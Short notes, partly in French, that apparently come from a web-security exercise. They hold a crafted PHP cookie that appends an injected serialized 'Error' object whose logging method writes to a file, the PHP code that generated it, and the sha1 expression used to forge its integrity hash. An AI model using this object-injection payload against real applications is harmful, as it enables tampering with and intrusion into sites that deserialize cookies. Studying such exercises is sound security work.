settings:
a%3A1%3A%7Bs%3A4%3A%22LANG%22%3Bs%3A2%3A%22EN%22%3B%7D%0AO%3A5%3A%22Error%22%3A5%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22test%22%3Bs%3A9%3A%22%00%2A%00reason%22%3Bs%3A6%3A%22blabla%22%3Bs%3A11%3A%22%00%2A%00priority%22%3Bi%3A10%3Bs%3A17%3A%22%00%2A%00loggingMethods%22%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Bs%3A10%3A%22validation%22%3Bi%3A1%3BN%3B%7Di%3A1%3Ba%3A2%3A%7Bi%3A0%3Bs%3A17%3A%22log_error_to_file%22%3Bi%3A1%3Bs%3A8%3A%22logs.txt%22%3B%7D%7Ds%3A9%3A%22%00%2A%00logged%22%3Bb%3A0%3B%7D

settings_hash:
82b5af4c45f7be90655b42cd9f14076243c2bac0

Comment j'ai généré ça:
$err = new Error("test", "blabla", 10, array(array("validation", null)));
echo urlencode(serialize($err));

Contenu du cookie:
a:1:{s:4:"LANG";s:2:"EN";}
O:5:"Error":5:{s:7:"*name";s:4:"test";s:9:"*reason";s:6:"blabla";s:11:"*priority";i:10;s:17:"*loggingMethods";a:2:{i:0;a:2:{i:0;s:10:"validation";i:1;N;}i:1;a:2:{i:0;s:17:"log_error_to_file";i:1;s:8:"logs.txt";}}s:9:"*logged";b:0;}

à url encoder (avec le retour chariot)

Contenu du hash:
echo sha1(SECRET . urldecode("a%3A1%3A%7Bs%3A4%3A%22LANG%22%3Bs%3A2%3A%22EN%22%3B%7D%0AO%3A5%3A%22Error%22%3A5%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22test%22%3Bs%3A9%3A%22%00%2A%00reason%22%3Bs%3A6%3A%22blabla%22%3Bs%3A11%3A%22%00%2A%00priority%22%3Bi%3A10%3Bs%3A17%3A%22%00%2A%00loggingMethods%22%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Bs%3A10%3A%22validation%22%3Bi%3A1%3BN%3B%7Di%3A1%3Ba%3A2%3A%7Bi%3A0%3Bs%3A17%3A%22log_error_to_file%22%3Bi%3A1%3Bs%3A8%3A%22logs.txt%22%3B%7D%7Ds%3A9%3A%22%00%2A%00logged%22%3Bb%3A0%3B%7D"));